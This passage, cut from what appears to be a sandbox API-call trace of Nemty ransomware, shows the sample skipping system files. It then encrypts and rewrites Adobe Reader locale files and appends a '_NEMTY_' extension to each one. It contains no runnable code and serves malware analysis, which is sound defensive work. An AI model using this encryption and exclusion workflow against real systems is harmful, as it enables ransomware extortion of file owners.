dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.830] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.CHS", cAlternateFileName="")) returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2=".") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="..") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="...") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="windows") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="rsa") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="NTDETECT.COM") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="ntldr") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="MSDOS.SYS") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="IO.SYS") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="boot.ini") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="boot.ini") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="ntuser.dat") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="desktop.ini") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="CONFIG.SYS") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="RECYCLER") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="bootmgr") returned 1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="programdata") returned -1 [0185.830] lstrcmpiW (lpString1="Checkers.CHS", lpString2="appdata") returned 1 [0185.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CHS", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CHS", lpUsedDefaultChar=0x0) returned 12 [0185.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.831] Sleep (dwMilliseconds=0x5) [0185.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x226aa110, dwHighDateTime=0x1d561e8)) [0185.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x226aa110, dwHighDateTime=0x1d561e8)) [0185.841] GetLastError () returned 0x0 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.841] GetLastError () returned 0x0 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.841] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.841] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.841] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="I2gkH5q1wPipqdvNwbWdBJR7aRrAq/p2rmSD8ke/aL53uroCpcRwHuZsjgyW2WLL\r\nO2ZFDzSofugooY3hh7I9gzmjupNA2fNQaL87eVxaQXfGtpxPP7U6GQ4oijONf2bI\r\n/ghfCS6Eu/pXK77Jd668amotKsP387k3mVaCPAMSWsOIKaR7Nfq4j4VmvN6hjomH\r\n6WKruT2fxPv8R/rGOGRmM1dNC4GgPvaxseniloviOHjGLzX/9Ot6qbV5soVJGpv8\r\nqD+xZ+o30GXiCl4ZSRIQW+mKlyNX8h1DLEZkIbO6ZappeaCtKoZZpzTSBaUgSX1K\r\nKB1RkwMn8k8ZtCR7Z9Mqww==\r\n", pcchString=0x653e5dc) returned 1 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.841] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Checkers.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\checkers.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.842] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=78336) returned 1 [0185.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13200) returned 0x6352c48 [0185.842] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.842] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13200, lpOverlapped=0x0) returned 1 [0185.848] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.848] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13200, lpOverlapped=0x0) returned 1 [0185.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.849] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=78336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13200 [0185.849] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.849] CloseHandle (hObject=0x2e8) returned 1 [0185.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.849] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Checkers.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\checkers.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Checkers.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\checkers.chs._nemty_kgobjgd_")) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.850] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.CHS", cAlternateFileName="")) returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2=".") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="..") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="...") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="windows") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="$RECYCLE.BIN") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="rsa") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="NTDETECT.COM") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="ntldr") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="MSDOS.SYS") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="IO.SYS") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="boot.ini") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="boot.ini") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="ntuser.dat") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="desktop.ini") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="CONFIG.SYS") returned 1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="RECYCLER") returned -1 [0185.850] lstrcmpiW (lpString1="DigSig.CHS", lpString2="BOOTSECT.BAK") returned 1 [0185.851] lstrcmpiW (lpString1="DigSig.CHS", lpString2="bootmgr") returned 1 [0185.851] lstrcmpiW (lpString1="DigSig.CHS", lpString2="programdata") returned -1 [0185.851] lstrcmpiW (lpString1="DigSig.CHS", lpString2="appdata") returned 1 [0185.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.CHS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.CHS", lpUsedDefaultChar=0x0) returned 10 [0185.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.851] Sleep (dwMilliseconds=0x5) [0185.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x226d0270, dwHighDateTime=0x1d561e8)) [0185.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x226d0270, dwHighDateTime=0x1d561e8)) [0185.856] GetLastError () returned 0x0 [0185.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.856] GetLastError () returned 0x0 [0185.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.856] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.856] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.857] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.857] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Y2g2YUShBQjOj0hRxJ6zB1PDUWIE5jGyXVV8d+hZeuDPJIgY0G9rK+Hx3oU4a5MK\r\n/Epu1GV1Jndl8fq7VuPMsbZgQmjUDyGxuvVc/3meQapY0IakrqntiuWLcxqlroAK\r\nc7zp0VcVffmTMX6FPc/bLOAHhNvee7M4pF57EPUlL82H5xMmZEMioGAymabikjKk\r\nOrO9yUe0tzBxF3nSi1Xk3ezJlQ4vJH9+FPdb2tSzCTvgNjkwK4Lod1kH/Z1llHak\r\nFrE1dRQmWherk4n2pLJw0NostPf2f/fvk/SwalhnpzRgfGw9dL3ZtRolwpPwy1HQ\r\nv84JmThpktp+8kPUI2swDw==\r\n", pcchString=0x653e5dc) returned 1 [0185.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\DigSig.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\digsig.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.858] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=73216) returned 1 [0185.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e00) returned 0x6352c48 [0185.858] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.858] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x11e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x11e00, lpOverlapped=0x0) returned 1 [0185.867] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.867] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x11e00, lpOverlapped=0x0) returned 1 [0185.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.867] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=73216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e00 [0185.867] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.867] CloseHandle (hObject=0x2e8) returned 1 [0185.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) 